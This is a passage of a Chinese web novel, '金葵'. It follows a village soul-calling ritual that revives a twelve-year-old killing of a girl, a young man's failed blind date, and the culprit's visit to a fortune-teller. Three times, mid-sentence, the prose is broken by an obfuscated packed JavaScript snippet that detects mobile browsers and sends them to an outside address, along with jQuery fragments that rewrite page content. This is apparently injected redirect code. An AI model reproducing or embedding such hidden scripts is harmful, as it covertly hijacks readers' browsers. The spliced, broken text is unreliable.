《金葵》
1. 招魂
这天早上十点,天空难得呈现蔚蓝色,太阳已经升的老高,把一切照得金灿灿明晃晃。世界明亮得仿佛容不下一点瑕疵。
三饼才起床,穿着睡觉的大裤衩趿拉上拖鞋就出了门,他拐了三条巷子,直奔从村口早餐摊儿准备买火烧和豆腐脑。
摊儿敞开着的,新烙出来的饼一层一层地垛在藤筐子,热乎气裹着温厚的面香徐徐散进空气,剁到一半的驴肉摊开在案板上,刀面儿沾着碎肉沫,肉味儿直接冲进三饼的胃里,馋得他难受。
他冲门里喊了两声儿,没人。他便自己动手了,把剁碎的驴肉拢进火烧里,又拿了张饼裹了点焖子和红肠,放了十块钱在案子边儿上,用刀把儿压住,手里拿卷了肉的饼,嘴里叼着火烧就走了。
远处响起一阵锣儿声,三饼边吃边往声源处溜达,走了不到100米,看见黄得洪家挤满了人,那道窄门容不进那么多看热闹的,早餐摊儿老板正踩着柴火垛往墙里探。
三饼跟着在墙根儿蹦了两下,看不清里头是什么情形,直接变成条泥鳅,从人缝儿里往院子里钻。直到挤到了热闹的最前头,才知道这家人在干啥。
在给丢了魂儿的小孩儿叫魂。
这家主人叫黄得洪,在村里是个无业游民。他爹前些年喝酒喝多死了,家里只剩下黄得洪跟他妈李贵霞相依为命。此时黄得洪搬个凳子坐在院子里,他快接近200斤,光着膀子,左脚搭在腿上,黝黑的胳膊大喇喇地支在膝盖上,一脸不大耐烦。他妈李贵霞是一个瘦小的女人,薄得像从照片上片下来的,手里捏着一串儿木珠,紧张盯着院中间儿。
院子中间儿是张土黄色的老桌子上,铺了大红的布,中央摆着一个香炉,燃着三柱香。地上摆着一个搪瓷脸盆,正烧着一些黄色纸钱儿。堂屋门敞开,帘子也被掀起来,被水桶抵着,堂屋中间摆着一张行军床,一个小男孩直挺挺躺着,旁边守着一个正在抹眼泪的妇女。
三饼伸着脖子往堂屋看了两眼,那个小男孩和妇女是黄得洪只算是个远亲,一时儿不晓得给小男孩叫魂儿的法阵为什么要在黄得洪家里搞。
一个干巴的婆子从厨房里头走出来,看了一眼日头,说时候差不多了。她一手拿把菜刀,一手端碗生米,走到香炉边儿上。屋里小男孩儿的妈见状,赶紧走出来,手里拎着件小男孩的上衣,低顺地站在一边儿。
神婆指了指院中间,问她:“小孩儿是在这儿吓着的?”
小孩妈神色犹豫一下,不确定地说:“反正就是在这院儿里,具体是哪儿,我也有点…”
她转过头,朝向坐着的黄得洪挥了一下手,“你搁哪儿撞得小军还记得不?”
黄得洪眼看就要发作,小孩的妈见他脸色没好气,不愿这个节骨眼起争执,就把手收回来,往院子右边指了指,“就是这块儿吧。”
李贵霞赶紧从黄得洪身后走出来,替小孩的妈妈把火盆移到了她刚指的位置。
神婆站定后,嘴里念起来,抓了一大把黄纸钱扔进火盆里,火苗窜起来。小孩的妈怔愣了一下,缓过神赶紧将手里孩子的衣服拎在火焰上方前后摆动。没一会儿,女人额头被火熏出来一片汗。
神婆见时候差不多,突然把手里菜刀狠狠往地上拍响。众人都被吓一跳。她拿起那只装生米的碗,将米粒撒向四方,口中呼喊:“东方米粮,西方米粮,南方米粮,北方米粮,四大五方米粮。2008年12月1日王小军童年来归啊!请到九天玄女、接魄童郎,畀返王小军肚胆来归啊!”
说起来也怪,神婆喊了一阵儿后,太阳钻进云里,明朗郎的天儿突然变得有点阴,三饼觉得周身气温有点发凉。周遭没有一个人敢说话,只剩下神婆悠长的呼喊,连原本神色蛮横的黄得洪都收敛了不少。
屋中的男孩发出一声喊叫。
小孩的妈得到神婆许可后,赶紧跑了过去。却没想到直接哭着出来,“大仙儿,你快过来看看吧。”
一众人往前凑想看个清楚,被神婆往外轰了一段距离。三饼只能看见在光线变阴的屋子里,小男孩从原来昏迷样子变成止不住地震颤,嘴里吐着一些含糊不清地胡话。
神婆看完一脸凝重地走出来,她那双皱巴的眼睛环顾了一眼院子里的所有人,最终目光停在黄得洪身上,她伸出手指指向黄得洪,说:“你身上不干净,”她又转头指向屋里那个小男孩,接着说:“他身上的东西有话要跟你说。”
黄得洪后背一紧,还没说话,李贵霞却先扑通软在地上,哭嚎着说:“这是造的什么孽啊……”
小孩的妈着急走到神婆旁边问:“什么意思?”
神婆目光又在黄得洪脸上扫了一遍,低下声音,指着他说:“这个人以前是不是背过人命?还是一条小孩儿的命?”
“神了,”村里有知情的人在人群里悄声讨论,“这黄得洪14岁的时候,活埋过一个小女孩!”
听清神婆的话后,三饼直接起了一身的鸡皮疙瘩。
三饼小时候跟黄得洪读同一个中学,虽然不是一个班,但黄得洪当年干的那档子损阴德的事儿全校都知道。当年黄得洪和另外俩差不多大的小孩,经常一起欺负同班同学。其中被他们欺负的一个女孩有哮喘,女孩去世那天,身上的药被三人抢了。一顿戏弄后,他们就眼瞅着女孩憋死在面前,最后还把女孩给埋在一片荒地的菜棚子里。
有人说挖出来的时候,女孩肺里都是土,说孩子明明在地底下醒了,又被土给呛死了。
三人因为不满14岁,又咬死说只是闹着玩,出了意外因为害怕被骂才埋的尸体。最后都被轻判了,从少管所没呆多久,出来后赔了点儿钱,事情就算了了。
甚至为了保护三个未成年罪犯,这事儿出了村知道的人都不多。
结果现在,在这件事情发生12年后,青天白日下,那个死过的小孩回来讨债来了。
听到神婆的话,李贵霞直接站起来,她咚咚咚地跑到东边的屋子,那是一间五六平米大小屋子,盖了有些年头,村里人都会在主屋旁边盖个小屋,拿来做饭或者储物。她一把推开那扇小屋门,里面只有巴掌大的通气口,连个窗户都没有。光线从大门照进去,凑得近才看清里头是啥。
一个孩子的排位。
排位上贴着一个13、14岁小女孩的照片,排位下边点着香,摆着贡品,再往下的地上摆着一个肮脏的蒲团。照片上小女孩的表情冰凉,在阴黑的屋子里看得人慎得慌。
村里人都知道李贵霞迷信。她常去各个庙里烧拜,身上不离各种开过光的珠串儿和求来的符,干什么都要先看看日子。
“打那孩子12年前出了事儿,我就天天压着我儿给她点香赎罪。吃了我这么多年香火,当年也是该罚罚了,怎么还不饶我们啊!”
李贵霞前一句是冲着人群说,后一句直接调转头冲那个主屋里那个生病的小男孩说。
小孩的妈不干了,直接开骂道:“你们黄家做的损阴德的事,凭什么报应到我儿身上。当年就害死一个,现在又要害死一个吗?你是修的什么菩萨嘴蛇蝎心?!在这儿装腔作势有屁用。把我儿救回来才是要紧!!”
小孩的妈转过来跟神婆说:“大仙儿,以前的事儿掰扯不清,您救救我孩子!!接下来该怎么做,您说怎么办我就怎么办,就算让黄得洪给我儿磕头,我也拼了这条命押他过来!!”
黄得洪的脸色已经变得相当难看,他已经有点坐不住,直接腾地站起来看向神婆,他一挥胳膊说:“你在这儿闹什么妖儿?死掉的小鬼要找人算账,让她直接来找我!!有什么报应,直接冲我来啊。少在这儿瞎几把演戏糊弄人!!”
李贵霞坐在地上攘了一把土在黄得洪身上,半哭半求地说:“你闭嘴吧!出言不逊,小心有报应。”
黄得洪已经十分烦躁,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885188|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从兜里掏出一根烟,刚要点着,就被神婆一声大喝打断:“不能点!!”
但晚了一步,屋里的小男孩忽然传来一阵剧烈的咳嗽,然后发出一阵瘆人又尖锐的叫嚣声。
“那鬼魂恨烟,鬼魂最恨引发自己死亡原因的东西!”
此话一处,三饼觉得黄得洪200斤的身体轻轻颤抖了一下。
神婆话语刚一落,那间黑漆漆的小屋子发出咚得一声响。声音不大,但在这个氛围中带点诡异。李贵霞赶紧从地上爬起来,往小屋子里瞅过去,这一眼,李贵霞吓出一声尖叫。
小女孩的排位倒了,而且是直接摔在了地上。
排位原来是放在一张一米长、半米宽的木桌正中央,如果自然倒下,应该是摔在桌子上。但那个木牌位却像被掷出去一样,摔出一米多远,像是饱含了愤怒的情绪。
神婆急了,直接拎过装生米的米袋子,把生米往四个方向瓢泼一样扬出去。
念咒声越来越密,火盆里的火越来越旺,一些看客觉得越发慎人,直接离开了。而经过那个女孩排位倒地的事件后,黄得洪也有点慌,他呆立在原地不动。
半刻钟后,神婆停止了做法,她脸上出了大片大片的汗,嘴唇发白,整个人像被抽掉了七分精神,她强撑着走到黄得洪跟前说:“那个小鬼生前脾气硬,死后心里有怨。它跟你很多年了,这些年怨气越来重,恰好借了这个八字弱同龄段小孩的身,它有话跟你说。”
黄得洪嘴上结巴地说:“跟我有什么可说的?!”脚还往后退了两步。
神婆干瘦的爪子直接拽出他,“你听了它的话,它才能被赶走,小男孩自己的魂儿才能回来。要不然还得再出一条人命!你的气运也要丧尽!!”
这话一出,小孩的妈直接跑过来紧紧箍住黄得洪的另一条胳膊,她像个母狼一样吼道,“你不能走,你走了我儿怎么办。你要敢走,你就从我身上踩过去!!”
黄得洪心里确实有些害了怕一样,被神婆和男孩的妈妈分别两边儿拽着,一步一踉跄地走进自家屋子。他200斤的身体仿佛没了一点儿劲儿,上半身被瘦弱的小孩妈妈按弯下去,硕大的脑袋被靠在在小男孩嘴边。
小男孩断断续说了句话。
黄得洪身上的肥肉震颤越来越明显,他声音颤抖着问:“你……你到底要干什么?!!”
小男孩发出桀桀低笑,声音突然尖叫起来,院子里耳朵尖的人都能听到。
“报应不爽,代价对应,我要害我的罪魁祸首不得好死!”
紧接着一声铜锣响。
在场所有人身上都颤抖了一下。黄得洪只穿着一条深蓝色的大裤衩,当着几十号人的面,他的尿就那么淋漓不尽地淌了下来。
后面的招魂仪式又继续了。小男孩说完那句话,就倒头昏了过去。黄得洪一把推开旁边的人,朝屋外冲出去。看热闹的人群挡住了大门,黄得洪像发了疯一样,挥着胳膊凶悍地给自己挥开了一条路。有好事儿的追出去,看他光着膀子已经跑得没了影儿。
神婆没再管他,把刚才的仪式又重复了一遍又一遍,直到院子里响起来那个受罪的男孩的哭声。
三饼的电话响了,赵冬阳在电话另一头催他提前去上班。三饼看得实在有点意犹未尽,抱怨道:“我不是明天的班儿吗?怎么今天就得去啊。我还有事儿啊……”
“别扯淡,你能有什么正经事儿。店里的电脑那款游戏我往里充了点儿钱,你今天不来我就卸了啊……”
“别啊,我事儿马上就完了,你招呼我我能不去吗?你等着,半个钟头我就到了。”三饼一边说一边往外走,转身不留意撞上一个女人,那女人身上一股清淡的消毒水味儿,三饼抽了抽鼻子,抬头望过去,女人已经转身出了门,最后消失在到路边儿。
要不是那股在空气里还残留的味儿,三饼还以为是自己出了幻觉。
2. 相亲
“赵哥,我跟你说,老精彩了今天早上,我们村有人给小孩叫魂,结果你猜招来了啥……”三饼熟练地从货架上薅了一瓶冰红茶,拧开盖儿就往嘴里灌。
赵冬阳没有接他的话题,他正在补货,快速地把一箱的辣条、薯片、鱿鱼丝分门别类地挂上挂钩,又从仓库里扛出几箱牛奶和大米,他解下裤腰钥匙串上的一把小刀,划开纸箱,把牛奶一件一件摆好。他摆东西有强迫症,四方的物体线条必须平行垂直,所有物品角度对好,效果一眼看过去齐齐整整,跟用尺子比过似的。货物快速见了底,他把包装用的纸箱一个一个折起来,摞好压实,平整地堆在了仓库里。
三饼见赵冬阳不接话,按起桌子上的标签打印机,刷啦打出一大长条5元、10元的标签。
这声响惊动了收银台旁边睡着了的老头,他坐在轮椅上,干瘪得像一把晒干的豆角。他抬起头,颤颤地用手指了一下三饼,“你是谁啊?”
三饼停下了动作,把手搭在老头的轮椅上,逗小孩一样说:“你猜我谁?”
“我猜不出,我……记性不行。”
三饼半弯下腰,靠近老头的耳边,语气里带一点戏谑地大声说道;“我~是~咱~县~的~县~长~”
“你是……县长嗷~”老头脸上显现出一股迷茫。
“对~我代表咱们县人民来看你来啦~”三饼玩得起劲儿。
老头像是个落入大海里的漂流者,一脸茫茫无方向,使劲思索一番后无助地说:“我……我记不得了。”
赵冬阳干完了活儿,一边擦手,一边往这个方向走过来,“你别逗他。”
“我前天才来过就忘了,这忘人的速度越来越快了也……”三饼向着赵冬阳说。
“前段带去市里复诊过了,已经是阿尔茨海默后期了。”赵冬阳给老人调整了一下歪了的靠背,“听说北京有个专家,可以让病程延迟一点,等一中放了寒假,店里不忙了,我带他瞅瞅。”
“都跑了多少地方了,全球都说没得治,花那些钱。”三饼一边漫不经心地说,一边坐到收银台边,他打开电脑,把手里的冰红茶顺手放在一边。
老头一直盯三饼,兴许是听到钱这个字,他拽着三饼的袖子,吐字清晰地说:“两块五。”
“啥?”三饼一愣。老头指了指他手里的冰红茶,继续说:“两块五。”
三饼随即反应过来,他晃了晃手边的饮料,语气蔫坏,“咋地,县长来你家喝饮料也得给钱啊?”
老头不知道怎么回,大概是自己闹了什么笑话,垂下头不说话了。
赵冬阳搬了一筐零食在老头脚底下,一边放好了各种打好的价格标签纸。老头盯着这堆东西,恍惚了一下,他试着捞起一袋薯片,从旁边一堆的价格标签里,选中了2元后慢慢贴了上去。
三饼逗乐了,“哪有这么便宜的薯片,老爷子你这么搞,你这个杂货店早晚要破产。”
“他记得没错,”赵冬阳头也没抬,“八年多前就是这个价格,他现在只能记起那会儿的事儿。”
嬉皮笑脸的三饼收了声,他又低头看了一眼那筐零食,都是赵冬阳特意挑出来七八年前流行的零食,零食包装袋子上还残留着标签反复粘刮残留下的发粘胶水,看上去不打算卖,是专门给老头锻炼记性和打发时间用的。
老头姓张,叫张继国,他其实才是这个七十平方米杂货店的真正老板。他跟原配妻子离婚后,原本独自带一个四岁的小女孩生活,后来张继国新娶了一个叫夏琳的外地女人,女人又带过来一个孩子,就是赵冬阳。
十二年前张继国很风光,那时候同口县还是个镇子,张继国也才39岁,是这个镇上出了名的好人,从水渠里救过人,开的杂货店是镇上最红火的店,赚了钱他还资助了四五个家境差的小孩读书。
但没过几年,一场变故令他家破人亡。
祸不单行,后来老头又得了病,新鲜的记忆和老旧的记忆都在一点点流失,只剩下那些零食包装袋子上残留下的胶水,把这个干瘪的老头不轻不重地粘在了过去。
三饼把视线挪开。
赵冬阳拿着手机正低头打字,他站在饮水机边,手里的水举起又放下,他眉头轻轻地皱了皱,神态犹豫不决。
三饼却偷偷乐起来,电脑上同步挂着赵冬阳的微信,所有的消息正在三饼眼里正一览无余,最新的一条是一个女孩发来的——“你好,我是王叔介绍的,我叫小敏,我这儿正好在大世界三楼,你要不要过来见一见?”
“赵哥!犹豫啥啊!赶紧去呗。”三饼好事激动又八卦的声调吓了赵冬阳一跳。
赵冬阳白了他一眼,收起手机,他把一次性纸杯扔进垃圾桶,用脚搓了搓地上的一块污渍,低声说:“去啥,又不会有结果。”
“我想去相亲,还没人给我介绍呢,”三饼大大喇喇地接着说,“再说,王叔给撮合的,你多少要给他一个面子吧。”
“再说你不去,你找我过来干啥,不是浪费我时间吗?”
赵冬阳叹了口气,“要不是王叔瞎掺和…”他没说完,揉揉眉头,疲倦地转身走进旁边的一间房间里。
他快速地换了一身衣服出来。
他原本穿的是一件蓝色T恤,深灰色裤衩,都不知道穿了多少年,已经有点褪色,松松垮垮,显得人疲惫不堪。现在换成了一件半新不旧的黑色T恤,一条蓝色的牛仔裤,他腰背直挺,腿长,身材匀称,衣服稍一修身,就显露出一股端正立挺的气质。
三饼对着他啧啧了两下。
赵冬阳交代了几句店里的事情,拿着摩托车钥匙就出门了。
赵冬阳来到了约定的地方,那个叫小敏的女孩正坐在星巴克的咖啡馆里,等赵冬阳走近,女孩打量完对方,脸上露出一副满意的神情。
她直接站起身,递给赵冬阳一杯打包好的咖啡,“我们要不然去楼上一边吃一边聊?”
“谢谢。”赵冬阳双手接过咖啡,他想说什么,没等开口,女孩已经抓起包走在前边了。他咽了嘴里话,跟着女孩上了四楼。
小敏选了一家韩式烤肉店,她问赵冬阳有没有想吃的,赵冬阳没有看菜单,直接说:“我吃什么都行。”于是女孩点了一桌儿菜。
等菜期间,她又自我介绍了一遍,她话又多又密,轻快得像只要飞起来的八哥,言语里透出对赵冬阳第一印象不错的好感。
赵冬阳什么也没说,他摸了摸口袋,非常想抽烟,但又忍住了。
“你话
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885189|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好少哦。”小敏交叉着手指,托住下巴,开始发问赵冬阳:“你要不然也介绍一下自己呗,我还什么也不知道呢。”
赵冬阳皱皱眉,“王叔没跟你说?”
小敏说:“就说了你身高体重,年纪26岁,家里是开店的,别的我就不知道了。”她转了转手边的纸巾,调笑道:“现在认识也来得及。”
赵冬阳一时没开腔。
女孩以为他害羞,非常大方直接开撩:“按说这县城也不大,你这么周正的小伙子我怎么早没遇上?你是哪家的?”
赵冬阳忍不住了,他从兜里掏出烟,点着,侧着脸吐完烟才说:“我姓赵,我继父姓张。”
小敏脸色微微滞住。
赵冬阳语气平静地继续说:“我没房也没车,那个杂货店是我继父的,只是我帮他打理,那个店就在一中旁边,我继父叫张继国。”
“夏琳是你妈?!”小敏一下变了脸色。
听到这个名字,赵冬阳浑身不自然地僵了一下,随即他点点头。
“不是?!王叔怎么不说清楚。”证实了心里的猜想,小敏脸色变得更难看,一下心直口快地喊出声,意识到自己的不礼貌,她掩饰性地喝了口茶水。
她抬头打量一眼赵冬阳,对方什么也说,面上什么表情都没有,他目光垂在桌面上的一壶薄荷花茶上,睫毛长长的,落在眼睑上一片小小的阴影。
“真可惜这么俊的脸。”女孩心里想。
她试探性地接着问:“你妈,有消息吗?”
赵冬阳慢慢抬起头,目光冰凉地看了她一眼,既没说是也没是不是,但每个动作和细微的神情都在厉声阻住对方的打探。
小敏也不快地捋了一下头发,语气变得硬邦起来,“我也明白说了吧,你们家那事儿我也知道点儿,我不嫌穷也不嫌苦,是我不想一进门就过被人戳肺管子的日子,这得多大的心理债啊?”
她顿了一下,瞄了一眼对方,“你要姓张,这事都还有的说。偏偏你姓赵,欠人家张家那么多,再搭一个人进去也还不完。”
“要是纯欠钱都行,你们可欠的是两个人的半辈子。要我天天对着自己的债主,谁受得了这个?”
她说着说着,直接拎起包,“这饭我就不吃了,非常不好意思哈,我觉得咱俩不合适。让张叔好好保重身体,祝他长命百岁。”
一旁的服务员没意识到这里的不愉快,把最后一道菜端上来,“菜上齐了,祝两位用餐愉快。”
小敏白了没眼力见的服务员一样,踩着高跟鞋噔噔地往外走了。
赵冬阳全程什么也没说,他半低着头看着中央的烤盘,上面铺着白色的油纸,已经被炙烤得冒出青烟,一粒葱花掉在上面,已经烤得发乌发焦。
他看了一会儿,把手伸在盘子上面,徒手捻走了那张油纸,把火关了。
这个结果,赵冬阳一点都不意外,只是他已经没有听见夏琳这个名字。十多年了,他都没有解开一个困惑,明明那么亲密那么美好的妈妈,为什么会突然变成一汪黑色的沼泽,把那些欣欣向荣过的好时光搅和得稀烂。
他又坐了一会儿,收拾了一下情绪,最后把烟头捻灭丢进垃圾桶。满桌子没有动的菜,他让服务员打了包。
3. 算命
“艹,哪个王八锤子把招魂儿那事儿放网上了,还他妈越来越火了。”在炕上躺着的黄得洪一起身坐了起来,身上的肉颤动了两下。
招魂儿的事情发生后,黄得洪的运气就像斜坡上的雪球一路往下。他的姘头跑了,投资的一家足浴店被举报涉黄给封了,他最大头的经济来源——给县里最大的洗浴城供应酒水,往里掺假酒的事儿也差一点曝光,被他花了几笔大钱给压下来。
这几件事儿在半个月里里面接连发生,不信邪都不行。
黄得洪思来想去,还是找到了那个在他家做法的神婆。他事先就调查过,神婆姓李,已经62岁,是个寡妇,住在另一个镇,名气并不小,给人看事儿有三十来年了。三十多年前她唯一的女儿跳河自杀后,老婆子在世上没了牵挂,就干起给人看事儿的活。
神婆是外嫁来的,在这个镇上,跟谁都不沾亲不带故,而且她脾气古怪,花销少,没什么爱好,连门都不怎么出,更没什么朋友。
人无欲则刚,黄得洪一时看不出来谁有收买她的可能。
难道还真的冤魂显灵?一想到那天倒掉的排位,黄得洪心里发毛到不行。
李神婆的门口停着三五辆车,想请她看事儿的人还要按着顺序一个一个往那间老旧的平房里进,而每个人进去后,时间都是半个小时打底。黄得洪从10点一直等到了12点,日头晒得他脸色发红,燥气像火苗一样一丛一丛地往他心头冒。
黄得洪再也受不了这份罪,扒拉开下一个准备往屋里进的妇女,拱着自己那200斤的身体抢先钻进门去。
李神婆的屋子看上去跟普通村里人的屋子没多大差异,堂屋中央贴着一张太上老君的旧像,用石灰抹的地面,屋子一角是炉子,炭烟熏得半面墙壁都发了黑。他掀开门帘走进卧室里头,李神婆盘腿坐在炕上,炕上摆着一张小方桌,桌子上有一沓小学生用的田字格纸,她就在这些粗燥的纸上推盘算八字,给人解疑答惑。
李神婆一抬眼看到黄得洪,眉头先皱起来。
黄得洪刚要开口,神婆推了推手边的一个茶缸子,先叫黄得洪去给她倒杯水。
黄得洪环顾了一眼四周,从柜子上拿过来一个暖壶,给茶缸子里倒了一整杯热水。
他刚把暖壶放下,背后传来哗啦一声。黄得洪扭头一看,李神婆把热水全泼在了石灰地面上。
“几个意思?”黄得洪话出口,李神婆挂着一张铁板样的脸说:“太烫。”
黄得洪知道她这是在给自己下马威。他挫了挫牙齿,按下心里的火气,从门外的大缸里舀了一瓢水,重新给她倒进去,这次水还没倒完,就又被李神婆利索地泼在地上,半杯水都浇在了黄得洪的鞋上,她眼皮都没抬地说:“过夜水不干净。”
黄得洪真想给她一下子。
但气运低时不得罪人。
他还是咽下这口气,出了门,他先赶走门口准备算事儿的其他人,又找了一家小卖铺,买了各个牌子的矿泉水和一些常见的饮料,提溜满满一大袋子回到李神婆的小桌子边儿。
“大仙儿,您喝啥您挑?”黄得洪敞开袋子露出各种饮料给她看。
李神婆睥睨了他一眼,一言不发。
黄得洪半弓着腰,毕恭毕敬地给李神婆倒了半瓶矿泉水,“您要是还不满意,我这儿水还多,咱慢慢试。”
李神婆这才慢慢端起水杯喝了一口,“问事儿还是改运?”
黄得洪松了口气,再折腾下去,怕是来的目的都快忘干净了,他赶紧跟上话,“都要都要。”
“只能问一件事儿。”李神婆慢慢拿起桌子上的一只钢笔,拧开笔帽,斜着眼看他。
前面的下马威有了效果,黄得洪本来气势汹汹,想问出这一通事情的来龙去脉,现在却只得老老实实跟着神婆的节奏走。他纠结了一会儿,措辞半天后才问道:“那天,就是你在我家招来马玲玲魂儿的那天,她最后喊的那句话啥意思,我最近运气快霉到家了,跟这有关系吗?”
“当然有关系,”李神婆见问的是这事儿,连黄得洪的八字都没要,直接说:“‘报应不爽,代价对应’说的是该受的惩罚不会迟到,她要你们付出等价的代价。当年的处罚条件,她很不满意,怨气迟迟不散,等收够了代价,她自己就会离开。”
“不是,”黄得洪罕见地产生了一股被欺负了的激愤,“当年案子已经钉死了,该付出的代价,我们都付出了。马玲玲是意外打闹窒息而死,刘小威畏罪跑了,我坐了牢,还有一个被马玲玲的奶奶拍成了残废。怎么就是代价不够?”
李神婆微微闭着眼半睁开,“当年的事儿没有一点儿隐情?”她眼里跟话里都带上了一丝讥讽,“瞒瞒别人行,就别在我这儿装腔儿了。”
黄得洪看着李神婆,神智忽然产生了片刻清晰,他咬紧牙口说:“什么隐情,我不知道。反正我的代价是付够了的。”
被熟人戳脊梁骨十多年,少管所的经历想起来都打寒战,凭什么说他付出的不够?!他妈的,论起怨气,她一个死人的怨气值不见得比他这个像过街老鼠的活人更高。
李神婆不想就着“他受的那点儿惩罚够不够赔一条人命”这个话题絮叨下去,直接点明说:“她最恨的那个人并没有付出代价。而且你知道的也不是事情的全部。”
黄得洪愣住,“啥意思?”
李神婆缓慢说道:“我从她的恨意看到的,是四个人。”
黄得洪后背起了一层鸡皮疙瘩,即使他没摸透这句话后面的具体意思,他也明白了那件改变他一生的事件后面是真的有他还不清楚的隐情。
“我只能说这些,我法力有限也只能看到这些。”李神婆转身从身后炕头木柜子中间的抽屉里,掏出几个护身符,列在桌面上。
“想改运的话,选一个护身符戴上,护身符不要沾水,一年内不要做杀生和见血的事儿,”
黄得洪低头看那些符,符分三种,一种用有朱砂画符的黄纸叠成的三角,摸上去软趴趴,一种是红底黄色丝线秀成的香囊袋,看着娘里娘气,最后一种是紫金砂雕刻的五雷号令吊牌。
神婆半耷拉眼皮说:“68元、128元、688元。”
黄得洪想也没想,拿了那个沉甸甸的紫金砂吊牌,老老实实付了钱,离开了这间低矮的房子。
外头的日光一照,黄得洪像是从一个古怪的世界回到现实,他脑子晕晕乎乎,来时的疑惑没有解清,另外的疑惑又占据他的脑海——马玲玲恨的第四个人是谁?李神婆是在耍他还是一切都是真的?如果耍他,她能有什么好处?她背后的人是谁?
他急需要一个人帮他分析分析,一个人名蹦进他脑海里,他脚步拐了弯儿,直奔了保架佐村。
黄得洪坐在炕沿边,一脚踹在对面正在雕刻软陶泥的章斌的轮椅上。“你他妈说句话啊,咋,当年那小孩的死你没参与?闹大了对你又有什么好?快别画你那破娃娃了!!”
章斌手里捏着一个陶泥捏成的娃娃人脸,正在用颜料描画眼睛,他被黄得洪一踹,手里的笔抖动了一下,直接画花了娃娃的眼。他眼角抽动了一下,盯着陶泥,把这颗娃娃头拢到手心一攥,重归成一坨看不形状的泥。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885190|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
章斌长得瘦长,常年坐轮椅闭家不出的缘故,脸色冷白,头发长长了,大概没有什么机会怎么打理,快成缕儿了,大夏天依然在腿上盖着一张薄薄的毯子,那双麻杆一样的腿被毯子勾勒出一个微弱的尴尬的起伏。
他放下手里所有东西,用手锤了锤膝盖,才慢吞吞地说:“都过去十二年了,你怕啥?”
黄得洪烦闷地一屁股重新坐回床上:“无风不起浪,要不是有点儿什么,那大仙儿怎么会莫名其妙提起……”他顿了一下,咽下要脱嘴的话,改口:“那么久一件事儿?”
“就怕有人就是要无风起浪,”章斌接着说:“当年案子已经结了,所有人都闭嘴相安无事了这么多年,怎么这个时候都死成灰的人跳了出来?”
“你就是想说有人诈我呗?”黄得洪烦躁地点燃一根烟。
章斌点点头,声音低沉地说:“要是对方要是真有证据,也不会用这种怪力乱神的破烂方法。反而你要是耐不住,跳出来重新翻当年的事情,反而容易中对方圈套。”
黄得洪左思右想了一会儿,他摸了摸脖子上挂着的一个那个紫金砂吊坠,不确定地说:“万一,大仙说的是真的……”他把自己的手放下,“或者那事儿真有内幕?你就不好奇,马玲玲恨得那第四个人是谁?”
章斌敲了敲腿,“我好不好奇不是关键,关键是当年事情,不能有第四个人。你不要忘了协议。”
这话一出,黄得洪沉默了半晌。
“协议已经让一切都夯死了,所以那事儿一个字都不能有变化,更不能有内幕。”章斌声音虽然轻,内容却让黄得洪没法儿反驳。
黄得洪烦躁地低头刷着手机,那个招魂视频下面的评论越来越多,有对视频里招魂是真是假的争论,有对当年事情的八卦,还有对增加对未成年犯罪刑罚量刑力度的呼吁,更多的是对当年害死马玲玲罪犯的骂声。
其中一个评论在黄得洪眼里显得异常扎眼,“当年的案子有隐情,那个罪魁祸首还没抓到,有人把那仨小孩当枪使了。”
底下一堆求八卦的。黄得洪也留下一个评论,“你到底知道点啥?没证据别胡咧咧。”
见对方一时没回复,黄得洪又写了一个评论,“有没有证据?造谣谁不会啊?”
他刷了手机半天,评论区依旧没什么新动静。
他就当那人是个傻逼在胡说八道。
手机刷得黄得洪脖子有点发酸,气氛干耗得他很不耐烦。他咬了咬牙,抬头看搓捏着泥团的章斌,把火气撒出去:“协议协议,少跟我提协议。你是站着……坐着说话不腰疼,这事儿没落儿你身上,你能风轻云淡,我能跟你一样?光这一个视频,我他妈现在就像个过街老鼠,被小鬼闹得我生意也做不下去,一堆人等着借这个机会给我使绊子,不搞清楚后面日子我怎么过?”
章斌没说话了。他是个残废,在和黄得洪这段关系里,他一直是被看低的那个。黄得洪来他这儿已经两个小时了,他已经翻来覆去劝得唾沫星子都冒烟,依旧按不住他的焦虑。
黄得洪心里已经有了自己的打算。
“这事儿是真的还是假的都不重要。神婆有一点是说对了,不是所有人都付出了对等的代价。这个事儿闹起来,最怕的还真不是我,”他眼里露出一丝愤恨,“凭什么你我过得像过街老鼠,跟我们签协议的那个人就能稳当当享福?没准这事儿就是他干的呢?!我得想办法把他拉下水。”
黄得洪把“那个人”三个字咬重,把烟头暗灭在章斌的水杯里,盯着章斌嘱咐道:“你要记着,你跟我可是一个战线的。”
4. 债务
